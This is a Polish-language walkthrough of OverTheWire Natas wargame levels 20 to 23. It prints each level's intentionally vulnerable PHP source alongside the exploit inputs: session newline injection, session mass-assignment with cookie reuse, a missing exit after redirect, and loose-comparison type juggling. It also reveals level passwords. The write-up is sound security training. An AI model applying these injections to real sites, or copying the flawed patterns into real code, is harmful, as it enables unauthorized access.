NATAS20:
Link do zalogowania: http://natas20.natas.labs.overthewire.org/index.php
Login: natas20, password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Poniżej kod strony:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas20", "pass": "<censored>" };</script></head> <body> <h1>natas20</h1> <div id="content"> <? function debug($msg) { /* {{{ */ if(array_key_exists("debug", $_GET)) { print "DEBUG: $msg<br>"; } } /* }}} */ function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas21\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; } } /* }}} */ /* we don't need this */ function myopen($path, $name) { //debug("MYOPEN $path $name"); return true; } /* we don't need this */ function myclose() { //debug("MYCLOSE"); return true; } function myread($sid) { debug("MYREAD $sid"); if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { debug("Invalid SID"); return ""; } $filename = session_save_path() . "/" . "mysess_" . $sid; if(!file_exists($filename)) { debug("Session file doesn't exist"); return ""; } debug("Reading from ". $filename); $data = file_get_contents($filename); $_SESSION = array(); foreach(explode("\n", $data) as $line) { debug("Read [$line]"); $parts = explode(" ", $line, 2); if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; } return session_encode(); } function mywrite($sid, $data) { // $data contains the serialized version of $_SESSION // but our encoding is better debug("MYWRITE $sid $data"); // make sure the sid is alnum only!! if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { debug("Invalid SID"); return; } $filename = session_save_path() . "/" . "mysess_" . $sid; $data = ""; debug("Saving in ". $filename); ksort($_SESSION); foreach($_SESSION as $key => $value) { debug("$key => $value"); $data .= "$key $value\n"; } file_put_contents($filename, $data); chmod($filename, 0600); } /* we don't need this */ function mydestroy($sid) { //debug("MYDESTROY $sid"); return true; } /* we don't need this */ function mygarbage($t) { //debug("MYGARBAGE $t"); return true; } session_set_save_handler( "myopen", "myclose", "myread", "mywrite", "mydestroy", "mygarbage"); session_start(); if(array_key_exists("name", $_REQUEST)) { $_SESSION["name"] = $_REQUEST["name"]; debug("Name set to " . $_REQUEST["name"]); } print_credentials(); $name = ""; if(array_key_exists("name", $_SESSION)) { $name = $_SESSION["name"]; } ?> <form action="index.php" method="POST"> Your name: <input name="name" value="<?=$name?>"><br> <input type="submit" value="Change name" /> </form> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Analiza kodu źródłowego pokazuje, że możemy wykorzystać funkcję debug,
http://natas20.natas.labs.overthewire.org/index.php?debug
Następnie sprawdzamy dalej kod źródłowy, poniżej warunek aby hasło do kolejnego poziomu zostało wyświetlone.
1 |
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) |
oraz
1 2 3 4 |
foreach($_SESSION as $key => $value) { debug("$key => $value"); $data .= "$key $value\n"; } |
Potrzebne są zatem dwie zmienne zapisane w danych sesji. Potrzebne jest ustawienie zmiennej name na admin oraz admin na 1. Dodatkowo w kodzie strony jest dodany znak nowego wiersza po pierwszy parametrze. Wklejam zatem poniższy ciąg do paska URL:
1 |
http://natas20.natas.labs.overthewire.org/index.php?debug&name=admin%0Aadmin%201 |
Pierwszy ciąg cyfr po znaku % to znak nowego wiersza, drugi ciąg to spacja. U mnie musiałem wkleić powyższy ciąg dwa razy i dostałem rozwiązanie.
Hasło do kolejnego poziomu to IFekPyrQXftziDEsUr3x21sYuahypdgJ
NATAS21:
Link do zalogowania: http://natas21.natas.labs.overthewire.org/index.php
Login: natas21, password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
Strona składa się z dwóch elementów, cześć 1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas21", "pass": "<censored>" };</script></head> <body> <h1>natas21</h1> <div id="content"> <p> <b>Note: this website is colocated with <a href="http://natas21-experimenter.natas.labs.overthewire.org">http://natas21-experimenter.natas.labs.overthewire.org</a></b> </p> <? function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas22\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22."; } } /* }}} */ session_start(); print_credentials(); ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Część 2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
<html> <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head> <body> <h1>natas21 - CSS style experimenter</h1> <div id="content"> <p> <b>Note: this website is colocated with <a href="http://natas21.natas.labs.overthewire.org">http://natas21.natas.labs.overthewire.org</a></b> </p> <? session_start(); // if update was submitted, store it if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } } if(array_key_exists("debug", $_GET)) { print "[DEBUG] Session contents:<br>"; print_r($_SESSION); } // only allow these keys $validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow"); $form = ""; $form .= '<form action="index.php" method="POST">'; foreach($validkeys as $key => $defval) { $val = $defval; if(array_key_exists($key, $_SESSION)) { $val = $_SESSION[$key]; } else { $_SESSION[$key] = $val; } $form .= "$key: <input name='$key' value='$val' /><br>"; } $form .= '<input type="submit" name="submit" value="Update" />'; $form .= '</form>'; $style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";"; $example = "<div style='$style'>Hello world!</div>"; ?> <p>Example:</p> <?=$example?> <p>Change example values here:</p> <?=$form?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Z kodu źródłowego pierwszego skryptu można zauważyć interesujący zapis, który jest odpowiedzialny za podanie hasła :
1 |
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) |
Następnie możemy zauważyć wrażliwy kod:
1 2 3 4 5 |
if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } } |
Powyższy kod pozwala na pobieranie danych ze zmiennej sesji, zatem możemy wstrzykiwać dowolne dane poprzez parametr GET w zapytaniu do strony. Jeżeli w stronie z listingu nr 2 wykonam zapytanie:
1 |
http://natas21-experimenter.natas.labs.overthewire.org/index.php?submit&admin=1 |
To pojawia się ciastko, PHPSESSID o wartości 64e9fs1ld9qaki0dnhiei1f336
Następnie należy dodać to ciastko na stronę nr 1. W tym celu po wpisaniu poprzedniego linku klikam na link do strony poprzedniej i mam hasło do następnego poziomu:
Hasło do następnego poziomu to chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
NATAS22:
Link do zalogowania: http://natas22.natas.labs.overthewire.org/index.php
Login: natas22, password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
Kod strony przedstawia się poniżej:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
<? session_start(); if(array_key_exists("revelio", $_GET)) { // only admins can reveal the password if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { header("Location: /"); } } ?> <html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head> <body> <h1>natas22</h1> <div id="content"> <? if(array_key_exists("revelio", $_GET)) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas23\n"; print "Password: <censored></pre>"; } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Najbardziej interesujący fragment to:
1 2 3 4 |
if(array_key_exists("revelio", $_GET)) { // only admins can reveal the password if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { header("Location: /"); |
W parametrze GET jest możliwość wpisania zmiennej revelio, która jeżeli wynosi 1 to podglądamy hasło do kolejnego poziomu:
1 2 3 4 5 6 7 8 9 10 11 |
GET /?revelio=1 HTTP/1.1 Host: natas22.natas.labs.overthewire.org Cache-Control: max-age=0 Authorization: Basic bmF0YXMyMjpjaEc5ZmJlMVRxMmVXVk1nallZRDFNc2ZJdk40NjFrSg== Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 OPR/66.0.3515.72 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=5etfncplalrnj7hu60knr1rak5 Connection: close |
Wynikiem zapytania jest :
NATAS23:
Link do zalogowania: http://natas23.natas.labs.overthewire.org/index.php
Login: natas23, password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
Poniżej kod strony:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas23", "pass": "<censored>" };</script></head> <body> <h1>natas23</h1> <div id="content"> Password: <form name="input" method="get"> <input type="text" name="passwd" size=20> <input type="submit" value="Login"> </form> <?php if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas24 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } } // morla / 10111 ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Najciekawszy fragment skryptu to:
1 2 3 4 5 6 7 8 9 10 11 |
<?php if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas24 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } } ?> |
Hasło do formularza musi spełnić dwa warunki : posiadać w sobie ciąg „iloveyou” oraz być liczbą większą od 10. Jak zatem to zrobić ??
Najpierw należy zrozumieć jak php sprawdza czy ciąg jest liczbą. Sprawdza wpisywany ciąg po każdym znaku od początku i ucina gdy napotka pierwszą literę. Zatem należy wpisać najpierw ciąg cyfr, które będą reprezentowały liczbę większą od 10, a następnie iloveyou
The credentials for the next level are:
1 |
Username: natas24 Password: OsRmXFguozKpTZZ5X14zNO43379LZveg |